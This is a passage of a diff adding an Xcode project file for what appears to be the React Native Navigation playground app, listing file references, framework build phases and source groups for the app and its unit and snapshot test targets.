End PBXContainerItemProxy section */ + +/* Begin PBXFileReference section */ + 13B07F961A680F5B00A75B9A /* playground.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = playground.app; sourceTree = BUILT_PRODUCTS_DIR; }; + 13B07FAF1A68108700A75B9A /* AppDelegate.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = ""; }; + 13B07FB01A68108700A75B9A /* AppDelegate.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = AppDelegate.mm; sourceTree = ""; }; + 13B07FB51A68108700A75B9A /* Images.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Images.xcassets; sourceTree = ""; }; + 13B07FB61A68108700A75B9A /* Info.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; + 13B07FB71A68108700A75B9A /* main.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; }; + 18EFC85255DC04E4B557855F /* libPods-NavigationTests.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; includeInIndex = 0; path = "libPods-NavigationTests.a"; sourceTree = BUILT_PRODUCTS_DIR; }; + 323095228F740613FD9372D1 /* PrivacyInfo.xcprivacy */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xml; name = PrivacyInfo.xcprivacy; path = ../PrivacyInfo.xcprivacy; sourceTree = ""; }; + 33BE713009EFB937EA4BF877 /* libPods-playground.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; includeInIndex = 0; path = "libPods-playground.a"; sourceTree = BUILT_PRODUCTS_DIR; }; + 4259AF43A23D928FE78B4A3A /* Pods-NavigationTests.debug.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-NavigationTests.debug.xcconfig"; path = "Target Support Files/Pods-NavigationTests/Pods-NavigationTests.debug.xcconfig"; sourceTree = ""; }; + 4AE37ACF6BFBAB211EE8E7E9 /* Pods-NavigationIOS12Tests.release.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-NavigationIOS12Tests.release.xcconfig"; path = "Target Support Files/Pods-NavigationIOS12Tests/Pods-NavigationIOS12Tests.release.xcconfig"; sourceTree = ""; }; + 4C14E49C47AA48BEDE90A218 /* Pods-SnapshotTests.debug.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-SnapshotTests.debug.xcconfig"; path = "Target Support Files/Pods-SnapshotTests/Pods-SnapshotTests.debug.xcconfig"; sourceTree = ""; }; + 5006E16527974DEA00D106A6 /* RNNModalHostViewManagerHandlerTest.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNModalHostViewManagerHandlerTest.mm; sourceTree = ""; }; + 5007B42F2472CA390002AA4E /* RNNNativeViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = RNNNativeViewController.h; sourceTree = ""; }; + 5007B4302472CA390002AA4E /* RNNNativeViewController.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNNativeViewController.mm; sourceTree = ""; }; + 5007B4322472CBD30002AA4E /* RNNCustomViewController.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNCustomViewController.mm; sourceTree = ""; }; + 5007B4332472CBD40002AA4E /* RNNCustomViewController.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = RNNCustomViewController.h; sourceTree = ""; }; + 500E9FE62406A4E200C61231 /* BottomTabPresenterTest.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = BottomTabPresenterTest.mm; sourceTree = ""; }; + 501C86B7239FE9C400E0B631 /* UIImage+Utils.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "UIImage+Utils.h"; sourceTree = ""; }; + 501C86B8239FE9C400E0B631 /* UIImage+Utils.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = "UIImage+Utils.mm"; sourceTree = ""; }; + 5022EDCB240551EE00852BA6 /* RNNBottomTabsAppearancePresenterTest.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNBottomTabsAppearancePresenterTest.mm; sourceTree = ""; }; + 502734AE24F3E9110022163C /* ColorParserTest.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = ColorParserTest.mm; sourceTree = ""; }; + 50364D6B238E7F0A000E62A2 /* ReactNativeNavigation.framework */ = {isa = PBXFileReference; explicitFileType = wrapper.framework; path = ReactNativeNavigation.framework; sourceTree = BUILT_PRODUCTS_DIR; }; + 503F775B24D19D96005E596D /* RNNModalManagerEventHandlerTest.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNModalManagerEventHandlerTest.mm; sourceTree = ""; }; + 50418968250788AE004A6BC7 /* FBSnapshotTestCasePlatform.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = FBSnapshotTestCasePlatform.mm; sourceTree = ""; }; + 50418969250788AE004A6BC7 /* FBSnapshotTestCase.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = FBSnapshotTestCase.h; sourceTree = ""; }; + 5041896A250788AE004A6BC7 /* FBSnapshotTestController.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = FBSnapshotTestController.mm; sourceTree = ""; }; + 5041896C250788AE004A6BC7 /* FBSnapshotTestCase-Info.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; path = "FBSnapshotTestCase-Info.plist"; sourceTree = ""; }; + 5041896D250788AE004A6BC7 /* FBSnapshotTestCase.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = FBSnapshotTestCase.mm; sourceTree = ""; }; + 5041896E250788AE004A6BC7 /* FBSnapshotTestCasePlatform.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = FBSnapshotTestCasePlatform.h; sourceTree = ""; }; + 50418970250788AE004A6BC7 /* UIImage+Diff.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = "UIImage+Diff.h"; sourceTree = ""; }; + 50418971250788AE004A6BC7 /* UIImage+Snapshot.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = "UIImage+Snapshot.mm"; sourceTree = ""; }; + 50418972250788AE004A6BC7 /* UIImage+Compare.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = "UIImage+Compare.mm"; sourceTree = ""; }; + 50418973250788AE004A6BC7 /* UIImage+Diff.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = "UIImage+Diff.mm"; sourceTree = ""; }; + 50418974250788AE004A6BC7 /* UIImage+Compare.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = "UIImage+Compare.h"; sourceTree = ""; }; + 50418975250788AE004A6BC7 /* UIImage+Snapshot.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = "UIImage+Snapshot.h"; sourceTree = ""; }; + 50418976250788AE004A6BC7 /* FBSnapshotTestController.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = FBSnapshotTestController.h; sourceTree = ""; }; + 50647FE223E3196800B92025 /* RNNExternalViewControllerTests.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNExternalViewControllerTests.mm; sourceTree = ""; }; + 5064A387256A85EB00D7AC84 /* NSArray+utilsTest.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = "NSArray+utilsTest.mm"; sourceTree = ""; usesTabs = 0; }; + 50650A21242FB0F800688104 /* CommandsHandlerCreator.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = CommandsHandlerCreator.h; sourceTree = ""; }; + 50650A22242FB0F800688104 /* CommandsHandlerCreator.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = CommandsHandlerCreator.mm; sourceTree = ""; }; + 5078DF37242BE8AA007B0B4F /* TestingAppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = TestingAppDelegate.h; sourceTree = ""; }; + 5078DF38242BE8AA007B0B4F /* TestingAppDelegate.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = TestingAppDelegate.mm; sourceTree = ""; }; + 507C80DA2429111F00F765F7 /* SnapshotTests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = SnapshotTests.xctest; sourceTree = BUILT_PRODUCTS_DIR; }; + 507C80DE2429111F00F765F7 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; + 507C80EA242BC6FB00F765F7 /* LayoutCreator.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = LayoutCreator.h; sourceTree = ""; }; + 507C80EB242BC6FB00F765F7 /* LayoutCreator.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = LayoutCreator.mm; sourceTree = ""; }; + 50996C5D23AA46DD00008F89 /* NavigationIOS12Tests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = NavigationIOS12Tests.xctest; sourceTree = BUILT_PRODUCTS_DIR; }; + 50996C6123AA46DD00008F89 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; + 50996C6723AA477400008F89 /* RNNRootViewControllerTest.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNRootViewControllerTest.mm; sourceTree = ""; }; + 50BCB27523F1A26600D6C8E5 /* TopBarAppearancePresenterTest.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = TopBarAppearancePresenterTest.mm; sourceTree = ""; }; + 50C085E52591341600B0502C /* RNNUIBarButtonItemTest.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNUIBarButtonItemTest.mm; sourceTree = ""; }; + 50C085E7259141E200B0502C /* RNNButtonsPresenterTest.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNButtonsPresenterTest.mm; sourceTree = ""; }; + 50C9A8D2240FB9D000BD699F /* RNNComponentViewController+Utils.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "RNNComponentViewController+Utils.h"; sourceTree = ""; }; + 50C9A8D3240FB9D000BD699F /* RNNComponentViewController+Utils.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = "RNNComponentViewController+Utils.mm"; sourceTree = ""; }; + 50CF233B240695B10098042D /* RNNBottomTabsController+Helpers.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "RNNBottomTabsController+Helpers.h"; sourceTree = ""; }; + 50CF233C240695B10098042D /* RNNBottomTabsController+Helpers.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = "RNNBottomTabsController+Helpers.mm"; sourceTree = ""; }; + 50E4888A2427DA4800B11A8E /* StackOptionsTest.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = StackOptionsTest.mm; sourceTree = ""; }; + 50FDEFBB258F5C5D008C9C3C /* RNNSearchBarOptionsTest.mm */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNSearchBarOptionsTest.mm; sourceTree = ""; }; + 60BCFCC02B7F812F00FCDB38 /* libLLVM.dylib */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.dylib"; name = libLLVM.dylib; path = usr/lib/libLLVM.dylib; sourceTree = SDKROOT; }; + 60BCFCCA2B7F817400FCDB38 /* libReactNativeNavigation.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; path = libReactNativeNavigation.a; sourceTree = BUILT_PRODUCTS_DIR; }; + 7F8E255E2E08F6ECE7DF6FE3 /* Pods-playground.release.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-playground.release.xcconfig"; path = "Target Support Files/Pods-playground/Pods-playground.release.xcconfig"; sourceTree = ""; }; + 9F9A3A9525260DA900AAAF37 /* LaunchScreen.storyboard */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = file.storyboard; path = LaunchScreen.storyboard; sourceTree = ""; }; + B484A10A046B0046B98A76B5 /* Pods-playground.debug.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-playground.debug.xcconfig"; path = "Target Support Files/Pods-playground/Pods-playground.debug.xcconfig"; sourceTree = ""; }; + C10F72071A488F801E1F1116 /* libPods-NavigationIOS12Tests.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; includeInIndex = 0; path = "libPods-NavigationIOS12Tests.a"; sourceTree = BUILT_PRODUCTS_DIR; }; + C9E7FB91365E7BEF959ADB5F /* Pods-NavigationIOS12Tests.debug.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-NavigationIOS12Tests.debug.xcconfig"; path = "Target Support Files/Pods-NavigationIOS12Tests/Pods-NavigationIOS12Tests.debug.xcconfig"; sourceTree = ""; }; + D95A99C17C65D674BA9DF26B /* Pods-NavigationTests.release.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-NavigationTests.release.xcconfig"; path = "Target Support Files/Pods-NavigationTests/Pods-NavigationTests.release.xcconfig"; sourceTree = ""; }; + DC6478E8C795582800285530 /* Pods-SnapshotTests.release.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-SnapshotTests.release.xcconfig"; path = "Target Support Files/Pods-SnapshotTests/Pods-SnapshotTests.release.xcconfig"; sourceTree = ""; }; + E504607F227748EA00212BD8 /* JavaScriptCore.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = JavaScriptCore.framework; path = System/Library/Frameworks/JavaScriptCore.framework; sourceTree = SDKROOT; }; + E58D261B238587F4003F36BA /* NavigationTests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = NavigationTests.xctest; sourceTree = BUILT_PRODUCTS_DIR; }; + E58D261F238587F4003F36BA /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; + E58D26252385888B003F36BA /* UIViewController+LayoutProtocolTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = "UIViewController+LayoutProtocolTest.mm"; sourceTree = ""; }; + E58D26262385888B003F36BA /* RNNRootViewControllerTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNRootViewControllerTest.mm; sourceTree = ""; }; + E58D26272385888B003F36BA /* RNNDotIndicatorPresenterTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNDotIndicatorPresenterTest.mm; sourceTree = ""; }; + E58D26282385888B003F36BA /* RNNFontAttributesCreatorTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNFontAttributesCreatorTest.mm; sourceTree = ""; }; + E58D26292385888B003F36BA /* BottomTabsControllerTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = BottomTabsControllerTest.mm; sourceTree = ""; }; + E58D262A2385888B003F36BA /* RNNLayoutManagerTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNLayoutManagerTest.mm; sourceTree = ""; }; + E58D262B2385888B003F36BA /* RNNSideMenuParserTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNSideMenuParserTest.mm; sourceTree = ""; }; + E58D262C2385888B003F36BA /* RNNOptionsTest.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = RNNOptionsTest.h; sourceTree = ""; }; + E58D262D2385888B003F36BA /* RNNOverlayManagerTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNOverlayManagerTest.mm; sourceTree = ""; }; + E58D262F2385888B003F36BA /* RNNTestBase.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNTestBase.mm; sourceTree = ""; }; + E58D26302385888B003F36BA /* RNNTestBase.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = RNNTestBase.h; sourceTree = ""; }; + E58D26312385888B003F36BA /* RNNStackPresenterTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNStackPresenterTest.mm; sourceTree = ""; }; + E58D26322385888B003F36BA /* RNNNavigationOptionsTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNNavigationOptionsTest.mm; sourceTree = ""; }; + E58D26332385888B003F36BA /* RNNExternalComponentStoreTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNExternalComponentStoreTest.mm; sourceTree = ""; }; + E58D26342385888B003F36BA /* RNNTestRootViewCreator.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = RNNTestRootViewCreator.h; sourceTree = ""; }; + E58D26352385888B003F36BA /* RNNComponentPresenterTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNComponentPresenterTest.mm; sourceTree = ""; }; + E58D26362385888B003F36BA /* RNNSideMenuPresenterTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNSideMenuPresenterTest.mm; sourceTree = ""; }; + E58D26372385888B003F36BA /* RNNSideMenuControllerTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNSideMenuControllerTest.mm; sourceTree = ""; }; + E58D26382385888B003F36BA /* RNNTransitionStateHolderTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNTransitionStateHolderTest.mm; sourceTree = ""; }; + E58D263A2385888C003F36BA /* RNNBottomTabsPresenterTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNBottomTabsPresenterTest.mm; sourceTree = ""; }; + E58D263B2385888C003F36BA /* UITabBarController+RNNOptionsTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = "UITabBarController+RNNOptionsTest.mm"; sourceTree = ""; }; + E58D263C2385888C003F36BA /* RNNNavigationStackManagerTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNNavigationStackManagerTest.mm; sourceTree = ""; }; + E58D263D2385888C003F36BA /* RNNTestRootViewCreator.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNTestRootViewCreator.mm; sourceTree = ""; }; + E58D263E2385888C003F36BA /* UIViewController+RNNOptionsTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = "UIViewController+RNNOptionsTest.mm"; sourceTree = ""; }; + E58D263F2385888C003F36BA /* RNNStackControllerTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNStackControllerTest.mm; sourceTree = ""; }; + E58D26402385888C003F36BA /* RNNViewControllerFactoryTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNViewControllerFactoryTest.mm; sourceTree = ""; }; + E58D26412385888C003F36BA /* RNNCommandsHandlerTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNCommandsHandlerTest.mm; sourceTree = ""; }; + E58D26422385888C003F36BA /* RNNBasePresenterTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNBasePresenterTest.mm; sourceTree = ""; }; + E58D26432385888C003F36BA /* RNNModalManagerTest.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNModalManagerTest.mm; sourceTree = ""; }; + E58D26452385888C003F36BA /* RNNTestNoColor.mm */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.objcpp; path = RNNTestNoColor.mm; sourceTree = ""; }; + E8B4CFA18A5ACE953124E129 /* libPods-SnapshotTests.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; includeInIndex = 0; path = "libPods-SnapshotTests.a"; sourceTree = BUILT_PRODUCTS_DIR; }; +/* End PBXFileReference section */ + +/* Begin PBXFrameworksBuildPhase section */ + 13B07F8C1A680F5B00A75B9A /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + CC58376A9F3639711BDD0562 /* libPods-playground.a in Frameworks */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; + 507C80D72429111F00F765F7 /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + 8EB60A6CB93C527CC6A870A2 /* libPods-SnapshotTests.a in Frameworks */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; + 50996C5A23AA46DD00008F89 /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + 6B102251DCC578519C2DC6A4 /* libPods-NavigationIOS12Tests.a in Frameworks */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; + E58D2618238587F4003F36BA /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + A55BD66DD6404C20A23DA948 /* libPods-NavigationTests.a in Frameworks */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXFrameworksBuildPhase section */ + +/* Begin PBXGroup section */ + 13B07FAE1A68108700A75B9A /* playground */ = { + isa = PBXGroup; + children = ( + 13B07FAF1A68108700A75B9A /* AppDelegate.h */, + 13B07FB01A68108700A75B9A /* AppDelegate.mm */, + 5007B42F2472CA390002AA4E /* RNNNativeViewController.h */, + 5007B4302472CA390002AA4E /* RNNNativeViewController.mm */, + 5007B4332472CBD40002AA4E /* RNNCustomViewController.h */, + 5007B4322472CBD30002AA4E /* RNNCustomViewController.mm */, + 5078DF37242BE8AA007B0B4F /* TestingAppDelegate.h */, + 5078DF38242BE8AA007B0B4F /* TestingAppDelegate.mm */, + 13B07FB51A68108700A75B9A /* Images.xcassets */, + 13B07FB61A68108700A75B9A /* Info.plist */, + 9F9A3A9525260DA900AAAF37 /* LaunchScreen.storyboard */, + 13B07FB71A68108700A75B9A /* main.m */, + 323095228F740613FD9372D1 /* PrivacyInfo.xcprivacy */, + ); + path = playground; + sourceTree = ""; + }; + 4620213833CA57C55B227B23 /* Pods */ = { + isa = PBXGroup; + children = ( + B484A10A046B0046B98A76B5 /* Pods-playground.debug.xcconfig */, + 7F8E255E2E08F6ECE7DF6FE3 /* Pods-playground.release.xcconfig */, + 4259AF43A23D928FE78B4A3A /* Pods-NavigationTests.debug.xcconfig */, + D95A99C17C65D674BA9DF26B /* Pods-NavigationTests.release.xcconfig */, + C9E7FB91365E7BEF959ADB5F /* Pods-NavigationIOS12Tests.debug.xcconfig */, + 4AE37ACF6BFBAB211EE8E7E9 /* Pods-NavigationIOS12Tests.release.xcconfig */, + 4C14E49C47AA48BEDE90A218 /* Pods-SnapshotTests.debug.xcconfig */, + DC6478E8C795582800285530 /* Pods-SnapshotTests.release.xcconfig */, + ); + path = Pods; + sourceTree = ""; + }; + 50418967250788AE004A6BC7 /* FBSnapshotTestCase */ = { + isa = PBXGroup; + children = ( + 50418968250788AE004A6BC7 /* FBSnapshotTestCasePlatform.mm */, + 50418969250788AE004A6BC7 /* FBSnapshotTestCase.h */, + 5041896A250788AE004A6BC7 /* FBSnapshotTestController.mm */, + 5041896C250788AE004A6BC7 /* FBSnapshotTestCase-Info.plist */, + 5041896D250788AE004A6BC7 /* FBSnapshotTestCase.mm */, + 5041896E250788AE004A6BC7 /* FBSnapshotTestCasePlatform.h */, + 5041896F250788AE004A6BC7 /* Categories */, + 50418976250788AE004A6BC7 /* FBSnapshotTestController.h */, + ); + path = FBSnapshotTestCase; + sourceTree = ""; + }; + 5041896F250788AE004A6BC7 /* Categories */ = { + isa = PBXGroup; + children = ( + 50418970250788AE004A6BC7 /* UIImage+Diff.h */, + 50418971250788AE004A6BC7 /* UIImage+Snapshot.mm */, + 50418972250788AE004A6BC7 /* UIImage+Compare.mm */, + 50418973250788AE004A6BC7 /* UIImage+Diff.mm */, + 50418974250788AE004A6BC7 /* UIImage+Compare.h */, + 50418975250788AE004A6BC7 /* UIImage+Snapshot.h */, + ); + path = Categories; + sourceTree = ""; + }; + 507C80DB2429111F00F765F7 /* SnapshotTests */ = { + isa = PBXGroup; + children = ( + 50418967250788AE004A6BC7 /* FBSnapshotTestCase */, + 507C80E9242BC6E200F765F7 /* Utils */, + 50E4888A2427DA4800B11A8E /* StackOptionsTest.mm */, + 507C80DE2429111F00F765F7 /* Info.plist */, + ); + path = SnapshotTests; + sourceTree = ""; + }; + 507C80E9242BC6E200F765F7 /* Utils */ = { + isa = PBXGroup; + children = ( + 507C80EA242BC6FB00F765F7 /* LayoutCreator.h */, + 507C80EB242BC6FB00F765F7 /* LayoutCreator.mm */, + 50650A21242FB0F800688104 /* CommandsHandlerCreator.h */, + 50650A22242FB0F800688104 /* CommandsHandlerCreator.mm */, + ); + path = Utils; + sourceTree = ""; + }; + 50996C5E23AA46DD00008F89 /* NavigationIOS12Tests */ = { + isa = PBXGroup; + children = ( + E58D263A2385888C003F36BA /* RNNBottomTabsPresenterTest.mm */, + 50996C6723AA477400008F89 /* RNNRootViewControllerTest.mm */, + 50996C6123AA46DD00008F89 /* Info.plist */, + ); + path = NavigationIOS12Tests; + sourceTree = ""; + }; + 832341AE1AAA6A7D00B99B32 /* Libraries */ = { + isa = PBXGroup; + children = ( + ); + name = Libraries; + sourceTree = ""; + }; + 83CBB9F61A601CBA00E9B192 = { + isa = PBXGroup; + children = ( + 13B07FAE1A68108700A75B9A /* playground */, + 832341AE1AAA6A7D00B99B32 /* Libraries */, + E58D261C238587F4003F36BA /* NavigationTests */, + 50996C5E23AA46DD00008F89 /* NavigationIOS12Tests */, + 507C80DB2429111F00F765F7 /* SnapshotTests */, + 83CBBA001A601CBA00E9B192 /* Products */, + E504607E227748E900212BD8 /* Frameworks */, + 4620213833CA57C55B227B23 /* Pods */, + ); + indentWidth = 4; + sourceTree = ""; + tabWidth = 4; + usesTabs = 1; + }; + 83CBBA001A601CBA00E9B192 /* Products */ = { + isa = PBXGroup; + children = ( + 13B07F961A680F5B00A75B9A /* playground.app */, + E58D261B238587F4003F36BA /* NavigationTests.xctest */, + 50996C5D23AA46DD00008F89 /* NavigationIOS12Tests.xctest */, + 507C80DA2429111F00F765F7 /* SnapshotTests.xctest */, + ); + name = Products; + sourceTree = ""; + }; + E504607E227748E900212BD8 /* Frameworks */ = { + isa = PBXGroup; + children = ( + 60BCFCCA2B7F817400FCDB38 /* libReactNativeNavigation.a */, + 60BCFCC02B7F812F00FCDB38 /* libLLVM.dylib */, + 50364D6B238E7F0A000E62A2 /* ReactNativeNavigation.framework */, + E504607F227748EA00212BD8 /* JavaScriptCore.framework */, + C10F72071A488F801E1F1116 /* libPods-NavigationIOS12Tests.a */, + 18EFC85255DC04E4B557855F /* libPods-NavigationTests.a */, + 33BE713009EFB937EA4BF877 /* libPods-playground.a */, + E8B4CFA18A5ACE953124E129 /* libPods-SnapshotTests.a */, + ); + name = Frameworks; + sourceTree = ""; + }; + E58D261C238587F4003F36BA /* NavigationTests */ = { + isa = PBXGroup; + children = ( + E58D26442385888C003F36BA /* Options */, + E58D262E2385888B003F36BA /* utils */, + E58D26422385888C003F36BA /* RNNBasePresenterTest.mm */, + 500E9FE62406A4E200C61231 /* BottomTabPresenterTest.mm */, + 50BCB27523F1A26600D6C8E5 /* TopBarAppearancePresenterTest.mm */, + E58D26412385888C003F36BA /* RNNCommandsHandlerTest.mm */, + E58D26352385888B003F36BA /* RNNComponentPresenterTest.mm */, + 50C085E52591341600B0502C /* RNNUIBarButtonItemTest.mm */, + 50C085E7259141E200B0502C /* RNNButtonsPresenterTest.mm */, + E58D26402385888C003F36BA /* 